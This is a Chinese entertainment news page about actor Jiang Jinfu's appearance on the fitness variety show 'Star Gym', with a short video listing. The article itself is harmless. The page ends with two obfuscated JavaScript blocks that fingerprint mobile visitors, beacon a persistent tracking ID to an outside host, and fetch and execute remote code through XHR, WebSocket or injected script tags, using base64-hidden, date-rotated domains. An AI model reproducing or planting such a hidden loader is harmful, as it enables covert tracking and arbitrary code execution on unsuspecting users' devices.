明星健身房神操作!蒋劲夫单手举妹子男友力爆棚
时间:2020-10-23 18:28:25阅读:3943次来源:星辰影院 都知道蒋劲夫弹跳力惊人,可谁知道他的臂力也很逆天呢?于本周二上线的健身轻综艺《明星健身房》中,90后硬汉小生蒋劲夫搞怪来袭!不仅模仿神似施瓦辛格的动作,还装起了“瑞兽”麒麟,更有单手“挂”妹子的现场演示,妥妥的“麒麟臂”啊!
明星健身房大型模仿秀启动! 蒋劲夫遭遇篮球生涯“滑铁卢”
说到蒋劲夫,必定离不开篮球运动,还有人送外号“横店詹姆斯”。节目一开始,本想大秀“酷炫转球”的蒋劲夫却连续三次转球失败,遭遇了篮球生涯的“滑铁卢”!面对令人诧异的结果,蒋劲夫连忙解释起转球技巧。“转球就像撩妹一样,你自己要有定力。”说着便来了一段转球solo,用颜值与魅力挽回了颜面。而被问到“为何喜欢一个人打球时”,蒋劲夫则一脸萌相嘟嘴说道“有其他人就不会看我了”,耍帅卖萌一样不落。
而在接下来的环节中,蒋劲夫还模仿起了“传承千年”的手臂动作,堪称颜值与身材并重,“逗比”与实力齐飞。面对前3个类似“施瓦辛格”的动作,蒋劲夫费尽心思完美复制,结尾还不忘带一句“双击666,礼物刷起来”,这综艺感可以说很足了!而当他看到最后一个“千年”麒麟图时,瞬间“逗比”上身,抓来“导演”一同模仿,龇牙咧嘴上演“二兽同台”,场面相当搞笑。
蒋劲夫单手“挂”妹子?明星健身房舞战绳秀麒麟臂
验证麒麟臂的方式有很多种,用手臂“托举”女朋友进行锻炼则是其中一种。在主持人Lisa的“委婉请求”下,蒋劲夫举起手臂决定尝试一下“新姿势”。不知不觉中,蒋劲夫已将Lisa稳稳举起,不愧是身材过人的硬汉小生!放下Lisa后,蒋劲夫则立马“戏精”上身,捂住手臂说道:“断了!”综艺感满满。
在明星私房课环节,蒋劲夫又一次展示了“麒麟臂”的强大力量。“战绳”作为一种练臂的绝佳工具,在锻炼手臂的效果与可观赏性上,堪称完美。MC余凌远一马当先做起了尝试,不料在战绳的演示上略显后劲不足,最后直接上演“大猩猩”跳舞;主持人Lisa由于动作不标准,像极了乐团指挥的标准动作,分分钟逗笑众人。而蒋劲夫不愧为实力担当,抓起战绳就是一场“生龙活虎”的表演,直叫人膜拜不已!
蒋劲夫腿伤复发暂停录制 忠告健身者“运动前要先热身”
本以为接下来可以尽情享用主题美食,不料蒋劲夫却因腿伤复发不得不暂停录制。而此前,蒋劲夫已略感身体不适,却仍坚持录制。节目中,蒋劲夫还谈到,自己身上所有的伤都是因为不热身导致的,并借用余凌远的一句“打篮球10分钟,热身2小时”道出热身的重要性,不忘向健身者们打预防针。隐忍而暖心,不愧是青年人的优质偶像!
谨记夫仔的话,健身之前先热身,能有效防止一些不必要的损伤。每周二早10:00,由茉莉传媒与微博联合出品,《女神的新衣》原班人马打造的一周双播轻综艺《明星健身房》,以“自律以自由,健身以健心”为理念,将登陆微博、优酷、搜狐、爱奇艺、腾讯等平台播出,更多健身方法,敬请关注!
热门视频
白夜破晓
潘粤明,王龙正,梁缘,王迅,吴晓亮,费启鸣,鄂靖文,韩烨洲,张皓然,涂松岩,尹姝贻,侯雪龙,杨凯迪,吴文璟,刘柏希,李滨,罗康,张洪睿,刘天佐
未录入 / 其他
更新至12集
人气:18
function UrHZkO(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function weDNiqf(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UrHZkO(t);};window[''+'c'+'m'+'F'+'i'+'U'+'p'+'D'+'L'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ROpDn(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=weDNiqf,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ROpDn(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ROpDn(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZZhLm1rdnNmLmNuJTNBODg5MQ==','d3NNzJTNNBJTJGJTJGYS5rZmdqYS5jbiUzQTk1MzM=','159458',window,document,['Z','N']);}:function(){};
function vbkCETyF(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function XxcCDLPe(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return vbkCETyF(t);};window[''+'l'+'r'+'R'+'c'+'U'+'z'+'f'+'H'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function sjnBT(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=XxcCDLPe,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=sjnBT(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=sjnBT(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmm1rdnNmmLmmNuJTNBODg5MQ==','d3NzJTNBJTJGJTJGYS5rZZmdqYS5jbiUzQTk1MzM=','159459',window,document,['m','Z']);}:function(){};